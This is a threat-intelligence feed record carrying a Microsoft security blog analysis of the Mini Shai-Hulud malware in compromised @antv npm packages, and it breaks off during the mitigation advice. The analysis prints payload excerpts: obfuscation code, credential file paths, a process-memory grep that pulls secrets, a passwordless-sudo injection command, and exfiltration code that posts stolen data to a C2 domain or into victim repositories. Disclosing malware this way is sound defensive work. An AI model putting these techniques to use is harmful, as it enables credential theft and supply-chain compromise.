[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f06VwIputGRHA8dgWMLqplMvZOL0M3f2oc6fKNhUpUIc":3},{"article":4,"iocs":49},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":33,"category":34,"article_tags":38},"077ed7f0-977d-4a9e-96e0-7da35534319d","Mini Shai Hulud: Compromised @antv npm packages enable CI\u002FCD credential theft","mini-shai-hulud-compromised-antv-npm-packages-enable-ci-cd-credential-theft-b4d569","Compromised @antv npm packages deploy the Mini Shai-Hulud payload to steal CI\u002FCD secrets from Linux-based automation environments. The malware executes during npm install and targets credentials across GitHub, AWS, Kubernetes, Vault, npm, and 1Password platforms. The post Mini Shai Hulud: Compromised @antv npm packages enable CI\u002FCD credential theft appeared first on Microsoft Security Blog.","Microsoft Security researchers identified an active supply chain attack targeting the @antv npm package ecosystem after threat actors compromised a maintainer account and published malicious versions of widely used data visualization packages including echarts-for-react (1M+ weekly downloads). The ~499 KB obfuscated JavaScript payload executes during npm install and steals credentials from GitHub Actions, AWS, Kubernetes, Vault, npm, and 1Password across CI\u002FCD pipelines. The attack employs multi-layer obfuscation (Base64 + custom PBKDF2\u002FSHA-256 encryption), environment gating to target GitHub Actions on Linux, and dual-channel data exfiltration while forging SLSA provenance to evade detection.","Compromised @antv npm packages deploy Mini Shai-Hulud malware to steal CI\u002FCD credentials from Linux environments.","Share Link copied to clipboard! Tags Linux Content types Research Products and services Microsoft Defender Topics Actionable threat insightsDefending against advanced tactics Microsoft has identified an active supply chain attack targeting the @antv node package manager (npm) package ecosystem. A threat actor compromised an @antv maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact. The compromise propagated through dependency chains into libraries like echarts-for-react (which has more than 1 million weekly downloads), expanding the blast radius into CI\u002FCD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments. Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI\u002FCD environments. The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved. Attack chain overview Figure 1. @antv npm supply chain attack flow. The @antv organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through: Maintainer account compromise and publication of malicious @antv package versions Downstream dependency amplification (echarts-for-react, size-sensor, and others) Automatic payload execution through a preinstall hook during npm install Execution chain: node → shell → bun → payload (Bun runtime installed if absent) Technical analysis The payload replaces the legitimate index.js with a single-line obfuscated script. Obfuscation Layer 1: 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de Layer 2: Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime. Environment gating: The payload exits immediately if it’s not running on GitHub Actions on Linux Branch avoidance: Skips the main, master, dependabot\u002F, renovate\u002F, and gh-pages when using Git API exfiltration \u002F\u002F Layer 1: 1,732 strings in rotated array with base64 decode (function(_0x44be0e, _0x3ff020){ \u002F\u002F Array shuffle IIFE with key 0xa31de _0x335af4['push'](_0x335af4['shift']()); })(_0x71ec, 0xa31de)); \u002F\u002F Layer 2: PBKDF2+SHA256 runtime decryption for critical strings var e6 = \"a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e\"; var t6 = \"7f44e4ba6f6a71bd0f789e7f83bd3104\"; var u5 = new du(e6, t6); \u002F\u002F PBKDF2 cipher instance globalThis[\"f2959c600\"] = function(s) { return u5.decode(s); }; \u002F\u002F Environment gate - exits if not GitHub Actions on Linux this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')] === 'true'; this['isLinuxRunner'] = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux'; Credential theft The payload targets secrets across six platforms: GitHub: Extracts GITHUB_TOKEN, scans for Personal Access Tokens (gh[op]_) and installation tokens (ghs_), validates through \u002Fuser API, and enumerates repo and org secrets. Amazon Web Services(AWS): Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads .aws\u002F files, harvests env vars, and then calls SecretsManager across all regions. HashiCorp Vault: Searches 12+ token paths (\u002Fvar\u002Frun\u002Fsecrets\u002Fvault\u002Ftoken, ~\u002F.vault-token, and others) and connects to a local Vault at 127.0.0[.]1:8200. npm: Validates tokens using \u002F-\u002Fwhoami, exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages Kubernetes: Reads service account tokens and enumerates namespace secrets 1Password: Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass \u002F\u002F AWS Secrets Manager enumeration 'secretsmanager:ListSecrets' 'secretsmanager:GetSecretValue(' \u002F\u002F Vault token paths searched (12+ locations) '\u002Fvar\u002Frun\u002Fsecrets\u002Fvault\u002Ftoken' '\u002F.vault-token' '\u002Fhome\u002Frunner\u002F.vault-token' '\u002Froot\u002F.vault-token' '\u002Fetc\u002Fvault\u002Ftoken' \u002F\u002F GitHub API secret enumeration '\u002Factions\u002Fsecrets?per_page=100' '\u002Factions\u002Forganization-secrets?per_page=100' Runner memory scraping The payload locates the GitHub Actions Runner.Worker PID using \u002Fproc scanning, then extracts runtime secrets using the following: \u002F\u002F Locates Runner.Worker PID via \u002Fproc 'findRunnerWorkerPIDLinux' \u002F\u002F Scans \u002Fproc\u002F\u002Fcmdline for \"Runner.Worker\" \u002F\u002F Extracts secrets from process memory tr -d '\\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u This activity bypasses normal secret masking by reading secrets directly from runner process memory. Privilege escalation Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > \u002Fmnt\u002Frunner Modifies \u002Fetc\u002Fhosts for DNS redirection \u002F\u002F Injects passwordless sudo via \u002Fetc\u002Fsudoers.d bind mount at \u002Fmnt echo 'runner ALL=(ALL) NOPASSWD:ALL' > && chmod 0440 \u002Fmnt\u002Frunner \u002F\u002F DNS manipulation sudo sh -c \"echo '127.0.0.1 ' >> \u002Fetc\u002Fhosts\" \u002F\u002F Validates sudo access before operations sudo -n true Exfiltration Dual-channel exfiltration: Primary: HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe Fallback: Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches Tertiary: Creates public repos under victim accounts with reversed description (“niagA oG eW ereH :duluH-iahS”); more than 2,200 of these repos have been observed as of this writing \u002F\u002F Primary: HTTPS C2 with encrypted domain (port 443) let config = { 'domain': f2959c600('bXVunP4+izfR\u002FcOx8zhW\u002Ffw8v6xFc4cvjYgGdbEE'), 'port': 0x1bb, \u002F\u002F 443 'path': f2959c600('5WA4NOQUD\u002Fn\u002FmNx\u002FcqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='), 'dry_run': false }; \u002F\u002F Fallback: Git Data API - creates blobs\u002Ftrees\u002Fcommits in victim repos await j(token, '\u002Frepos\u002F' + owner + '\u002F' + repo + '\u002Fgit\u002Fblobs', {'method': 'POST', 'body': JSON.stringify(stolen_data)}); '\u002Fgit\u002Ftrees' '\u002Fgit\u002Fcommits' \u002F\u002F Branch filter - avoids protected branches to evade detection Dw = ['dependabot\u002F', 'renovate\u002F', 'gh-pages', 'docs\u002F', 'copilot\u002F', 'master', 'main']; Propagation and persistence Enumerates \u002Fuser\u002Frepos and \u002Fuser\u002Forgs to spread into additional repositories Installs Bun runtime, executes second-stage payload using bun run .claude\u002F Deploys token monitor for ongoing credential capture Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate Impact and blast radius Direct compromise of @antv packages with broad ecosystem adoption Amplification through downstream dependencies into thousands of projects Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access SLSA provenance forgery erodes trust in supply chain attestation frameworks How GitHub took action to prevent further harm Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed. Mitigation and protection guidance Microsoft recommends the following mitigations to reduce the impact of this threat: Review dependency trees for direct or transitive usage of affected @","https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F2026\u002F05\u002F20\u002Fmini-shai-hulud-compromised-antv-npm-packages-enable-ci-cd-credential-theft\u002F","https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002Fwp-content\u002Fuploads\u002F2026\u002F04\u002FMS_Actional-Insights_Rapid-response.jpg","2026-05-20T17:48:44+00:00","2026-05-20T20:00:20.948124+00:00",9,[18,21,24,26,28,30],{"name":19,"type":20},"@antv npm organization","technology",{"name":22,"type":23},"echarts-for-react","product",{"name":25,"type":23},"G2",{"name":27,"type":23},"G6",{"name":29,"type":23},"size-sensor",{"name":31,"type":32},"Microsoft","vendor","26b0b636-0e31-4db1-bffb-61bdf9f20a58",{"id":33,"icon":35,"name":36,"slug":37},null,"Supply Chain","supply-chain",[39,44],{"category":40},{"id":41,"icon":35,"name":42,"slug":43},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":45},{"id":46,"icon":35,"name":47,"slug":48},"ade75414-7914-4e23-a450-48b64546ee70","Open Source","open-source",[50,53,57],{"type":43,"value":51,"context":52},"Mini Shai-Hulud","Obfuscated JavaScript payload (~499 KB) deployed via compromised @antv npm packages to steal CI\u002FCD credentials",{"type":54,"value":55,"context":56},"ip","169.254.169.254","AWS Instance Metadata Service endpoint targeted for credential enumeration",{"type":54,"value":58,"context":59},"169.254.170.2","AWS ECS metadata endpoint targeted for credential enumeration"]